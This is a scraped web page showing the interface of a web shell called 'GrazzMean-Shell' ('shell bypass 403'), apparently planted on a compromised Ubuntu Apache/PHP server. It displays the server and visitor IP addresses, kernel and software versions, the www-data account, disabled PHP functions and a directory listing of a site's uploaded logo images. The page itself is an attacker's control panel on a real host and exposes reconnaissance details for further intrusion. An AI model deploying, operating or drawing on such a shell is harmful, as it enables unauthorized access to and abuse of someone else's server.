shell bypass 403

GrazzMean-Shell Shell

Uname: Linux wputd 5.4.0-200-generic #220-Ubuntu SMP Fri Sep 27 13:19:16 UTC 2024 x86_64
Software: Apache/2.4.41 (Ubuntu)
PHP version: 7.4.3-4ubuntu2.24 [ PHP INFO ] PHP os: Linux
Server Ip: 158.69.144.88
Your Ip: 18.118.144.50
User: www-data (33) | Group: www-data (33)
Safe Mode: OFF
Disable Function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
name last edit size owner:downer permission options
..
.htaccess 2025-01-08 14:40:11 237 B www-data:www-data -r-xr-xr-x
aircall_logo-150x150.jpg 2022-07-19 19:36:07 2.42 KB www-data:www-data -rw-r--r--
aircall_logo.jpg 2022-07-19 19:36:07 7.78 KB www-data:www-data -rw-r--r--
airtable_logo-150x150.png 2022-07-15 22:39:35 6.38 KB www-data:www-data -rw-r--r--
airtable_logo.png 2022-07-15 22:39:35 3.54 KB www-data:www-data -rw-r--r--
asana_logo-1024x576.png 2022-07-18 20:56:52 58.88 KB www-data:www-data -rw-r--r--
asana_logo-1080x608.png 2022-07-18 20:56:56 64.75 KB www-data:www-data -rw-r--r--
asana_logo-1080x675.png 2022-07-18 20:56:55 73.16 KB www-data:www-data -rw-r--r--
asana_logo-1280x720.png 2022-07-18 20:56:59 79.52 KB www-data:www-data -rw-r--r--
asana_logo-150x150.png 2022-07-18 20:56:52 9.03 KB www-data:www-data -rw-r--r--
asana_logo-1536x864.png 2022-07-18 20:56:53 106.97 KB www-data:www-data -rw-r--r--
asana_logo-2048x1152.png 2022-07-18 20:56:54 167.48 KB www-data:www-data -rw-r--r--
asana_logo-2880x1800.png 2022-07-18 20:56:59 314.88 KB www-data:www-data -rw-r--r--
asana_logo-300x169.png 2022-07-18 20:56:52 11.23 KB www-data:www-data -rw-r--r--
asana_logo-400x250.png 2022-07-18 20:56:54 18.43 KB www-data:www-data -rw-r--r--
asana_logo-400x284.png 2022-07-18 20:56:55 21.2 KB www-data:www-data -rw-r--r--
asana_logo-400x516.png 2022-07-18 20:56:56 38.12 KB www-data:www-data -rw-r--r--
asana_logo-480x270.png 2022-07-18 20:57:00 20.25 KB www-data:www-data -rw-r--r--
asana_logo-510x382.png 2022-07-18 20:56:55 31.27 KB www-data:www-data -rw-r--r--
asana_logo-768x432.png 2022-07-18 20:56:53 38.39 KB www-data:www-data -rw-r--r--
asana_logo-980x551.png 2022-07-18 20:57:00 55.04 KB www-data:www-data -rw-r--r--
asana_logo.png 2022-07-18 20:56:52 327.05 KB www-data:www-data -rw-r--r--
circuits-150x150.png 2022-09-04 08:07:21 55.87 KB www-data:www-data -rw-r--r--
circuits-300x75.png 2022-09-04 08:07:21 58.49 KB www-data:www-data -rw-r--r--
circuits-400x192.png 2022-09-04 08:07:22 188.32 KB www-data:www-data -rw-r--r--
circuits-480x120.png 2022-09-04 08:07:22 142.43 KB www-data:www-data -rw-r--r--
circuits-510x192.png 2022-09-04 08:07:22 242.48 KB www-data:www-data -rw-r--r--
circuits.png 2022-09-04 08:07:21 318.06 KB www-data:www-data -rw-r--r--
constantcontact_logo-1-150x150.png 2022-07-12 03:27:11 14.81 KB www-data:www-data -rw-r--r--
constantcontact_logo-1.png 2022-07-12 03:27:11 5.8 KB www-data:www-data -rw-r--r--
constantcontact_logo-150x150.png 2022-07-12 03:25:18 5.6 KB www-data:www-data -rw-r--r--
constantcontact_logo-300x300.png 2022-07-12 03:25:17 13.33 KB www-data:www-data -rw-r--r--
constantcontact_logo-400x250.png 2022-07-12 03:25:18 18.36 KB www-data:www-data -rw-r--r--
constantcontact_logo-400x284.png 2022-07-12 03:25:18 19.15 KB www-data:www-data -rw-r--r--
constantcontact_logo-400x512.png 2022-07-12 03:25:18 22.44 KB www-data:www-data -rw-r--r--
constantcontact_logo-480x480.png 2022-07-12 03:25:18 25.12 KB www-data:www-data -rw-r--r--
constantcontact_logo-510x382.png 2022-07-12 03:25:18 25.96 KB www-data:www-data -rw-r--r--
constantcontact_logo.png 2022-07-12 03:25:17 31.42 KB www-data:www-data -rw-r--r--
github_logo.png 2022-07-20 19:33:27 1.71 KB www-data:www-data -rw-r--r--
jira_logo-150x150.jpg 2022-07-12 03:14:27 3.56 KB www-data:www-data -rw-r--r--
jira_logo.jpg 2022-07-12 03:14:27 4.34 KB www-data:www-data -rw-r--r--
lansweeper_logo.png 2022-07-20 19:16:27 1.01 KB www-data:www-data -rw-r--r--
outreach_logo-150x150.jpg 2022-07-12 03:23:40 2.92 KB www-data:www-data -rw-r--r--
outreach_logo.jpg 2022-07-12 03:23:40 3.59 KB www-data:www-data -rw-r--r--
pipedrive_logo-150x150.png 2022-07-12 02:39:10 3.35 KB www-data:www-data -rw-r--r--
pipedrive_logo.png 2022-07-12 02:39:10 1.6 KB www-data:www-data -rw-r--r--
salesforce_logo-150x128.png 2022-07-20 19:46:31 1.59 KB www-data:www-data -rw-r--r--
salesforce_logo.png 2022-07-20 19:46:31 1.73 KB www-data:www-data -rw-r--r--
servicesnow_logo.png 2022-07-20 19:30:31 1.73 KB www-data:www-data -rw-r--r--
zendesk_logo-150x129.png 2022-07-20 19:55:02 1.21 KB www-data:www-data -rw-r--r--
zendesk_logo.png 2022-07-20 19:55:02 1.29 KB www-data:www-data -rw-r--r--
© 2025 GrazzMean-Shell